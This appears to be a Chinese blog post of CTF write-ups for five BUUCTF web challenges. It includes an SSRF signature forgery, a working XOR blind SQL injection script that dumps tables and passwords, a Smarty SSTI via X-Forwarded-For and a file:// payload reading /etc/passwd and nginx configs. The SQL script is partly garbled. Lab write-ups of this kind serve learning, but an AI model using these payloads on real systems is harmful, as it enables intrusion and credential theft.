BUUCTF 个人做题记录【7-03】

目录

1.[De1CTF 2019]SSRF Me 1

2.[极客大挑战 2019]FinalSQL1

3.[CISCN2019 华东南赛区]Web11 1

4.[BSidesCF 2019]Futurella 1

5.[SUCTF 2019]Pythonginx 1

1.[De1CTF 2019]SSRF Me 1

BUUCTF 个人做题记录【7-03】

很容易看出是一段代码,整理

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

来自:

有三个路由:/geneSign,//De1ta,/

1.

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

GET方式传入参数param,action固定为scan,调用getSign函数,我们看看


def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

对secert_key+param+action进行加密后返回

2.

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

从cookie接收action和sign参数,waf函数检测param参数,调用Task函数处理三个参数,之后返回执行结果task.Exec的执行结果

先看看waf函数

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

我们的param参数中不能出现gopher和file,也就是说这两个协议不可用

再看看Task函数


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

如果我们呢sandbox参数中的路径不存在,则为它创建一个目录

看看Exec()

 def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

要求我们传入的action参数含有scan和read就可以进行读取文件内容,结果保存在result中,之后返回result

3.

@app.route('/')
def index():
    return open("code.txt","r").read()

读取源码,也就是我们打开题目看到的那些

4.后面有个checkSign函数

def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

经getSign函数处理后的值于我们传入的sign参数比较,如果相等返回真,不等返回假

这里我们的sign参数可以/geneSign传参后得到

提示:

BUUCTF 个人做题记录【7-03】

payload:

1.在geneSign里的getsign函数,他是用param和action做拼接的!而action是固定的scan ,也就是说,我们先使用geneSign,传参为flag.txtread,这样只会param+action拼接为 flag.txtreadscan,生成sign保存下来

BUUCTF 个人做题记录【7-03】

BUUCTF 个人做题记录【7-03】

2.[极客大挑战 2019]FinalSQL1

BUUCTF 个人做题记录【7-03】

1,2,3,4,5依次点击,都不是,看到地址栏的变化,

BUUCTF 个人做题记录【7-03】

我们可以改id=6

BUUCTF 个人做题记录【7-03】

clever!这个页面不简单,sql注入尝试

BUUCTF 个人做题记录【7-03】

这个id就是注入点

BUUCTF 个人做题记录【7-03】

存在过滤,一般存在过滤,sql注入的常用关键字一般都是过滤了,空格这些也不会落下,观察到页面并没有显示报错信息,我们考虑盲注,而盲注也是有不同的类型,其中的一种叫异或盲注

BUUCTF 个人做题记录【7-03】

BUUCTF 个人做题记录【7-03】

大佬的脚本

import requests
import sys
import time

#判断数据库名长度
def get_DBlen(url):
    for i in range(1,10):
        db_url = url+"1^1^(length(database())=%d)#"%i
        r = requests.get(db_url)
        if "Click" in r.text:
            print("数据库名称的长度为:%d"%i)
            return i
#爆数据库名
def get_DBname(url,length):
    DBname = ""
    length = length + 1
    for i in range(1,length):
        Max = 122
        Min = 41
        Mid = (Max+Min)//2
        while Min <= max: db_url="url+"1^1^(ascii(substr(database(),%d,1))">=%d)#"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max = Mid-1
                Mid = (Min+Max)//2
                pass
            pass
        DBname = DBname + chr(Mid)
    print("&#x6570;&#x636E;&#x5E93;&#x540D;:",DBname)
    return DBname

def get_TBname(url):
    name=""
    i = 0
    print("&#x5B57;&#x6BB5;&#x5185;&#x5BB9;&#x4E3A;&#xFF1A;")
    while True:
        i = i+1
        Max = 128
        Min = 32
        Mid = (Max+Min)//2
        while Min <= max: # 爆表名 db_url="url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))">=%d)#"%(i,Mid)
            # &#x7206;&#x5B57;&#x6BB5;&#x540D;
            # db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
            # &#x83B7;&#x53D6;flag
            db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max=Mid-1
                Mid=(Min+Max)//2
                pass
            pass
        name=name+chr(Mid)
        if Mid == 31:
            break
        print(name)
    #&#x901F;&#x5EA6;&#x592A;&#x5FEB;&#x663E;&#x793A;&#x4E0D;&#x5B8C;&#x5168;
        time.sleep(0.5)

if __name__=="__main__":
    url = "http://41a8c6b3-f4d5-4b79-9bbc-0bf925168a5f.node4.buuoj.cn/search.php?id="
    db_Len = get_DBlen(url)
    db_Name = get_DBname(url,db_Len)
    tb_name = get_TBname(url)</=></=>

跑一下就可以拿到flag

3.[CISCN2019 华东南赛区]Web11 1

BUUCTF 个人做题记录【7-03】

抓包看看

BUUCTF 个人做题记录【7-03】
&#x77E5;&#x8BC6;&#x70B9;&#xFF1A;smart ssti

关于smart ssti:

smart是php的模板引擎,模板引擎的作用就是分离前端页面和数据的,题目中显示API的URL由于环境的原因无法使用,但我们的IP依旧显示在了页面的右上角,且根据它的提示XFF我们很容易想到,在X-Forwarded-For里构造ssti:payload。

来自:(2条消息) [CISCN2019 华东南赛区]Web11 1_succ3的博客-CSDN博客

BUUCTF 个人做题记录【7-03】

参考:(2条消息) Smarty SSTI_合天网安实验室的博客-CSDN博客

这里我们用{/if}标签来构造payload

BUUCTF 个人做题记录【7-03】

BUUCTF 个人做题记录【7-03】

4.[BSidesCF 2019]Futurella 1

BUUCTF 个人做题记录【7-03】

陌生的编码,看看源码

BUUCTF 个人做题记录【7-03】

5.[SUCTF 2019]Pythonginx 1

知识点:

  • CVE-2019-9636:urlsplit不处理NFKC标准化
  • nginx重要文件的位置
  • url中的unicode漏洞引发的域名安全问题(19年black hat中的一个议题)
  • *python脚本(逃~。。。。)

BUUCTF 个人做题记录【7-03】

这题自己其实已经找到了方法,但是还是没敢继续尝试。
首先我们需要知道nginx重要文件的位置:

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

大佬整理好的内容


@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "&#x6211;&#x624C; your problem? 111"

    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "&#x6211;&#x624C; your problem? 222 " + host

    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #&#x53BB;&#x6389; url &#x4E2D;&#x7684;&#x7A7A;&#x683C;
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "&#x6211;&#x624C; your problem? 333"

这也是本题的一个非预期解,利用了urlsplit不处理NFKC标准化:

?url=file:suctf.cc/etc/passwd

BUUCTF 个人做题记录【7-03】

以上部分转载于:

(2条消息) [SUCTF 2019]Pythonginx 1_bfengj的博客-CSDN博客

读取配置文件

?url=file:suctf.cc/ usr/local/nginx/conf/nginx.conf

BUUCTF 个人做题记录【7-03】

BUUCTF 个人做题记录【7-03】

Original: https://blog.csdn.net/qq_61620566/article/details/125585397
Author: 不用再等
Title: BUUCTF 个人做题记录【7-03】

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/745044/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球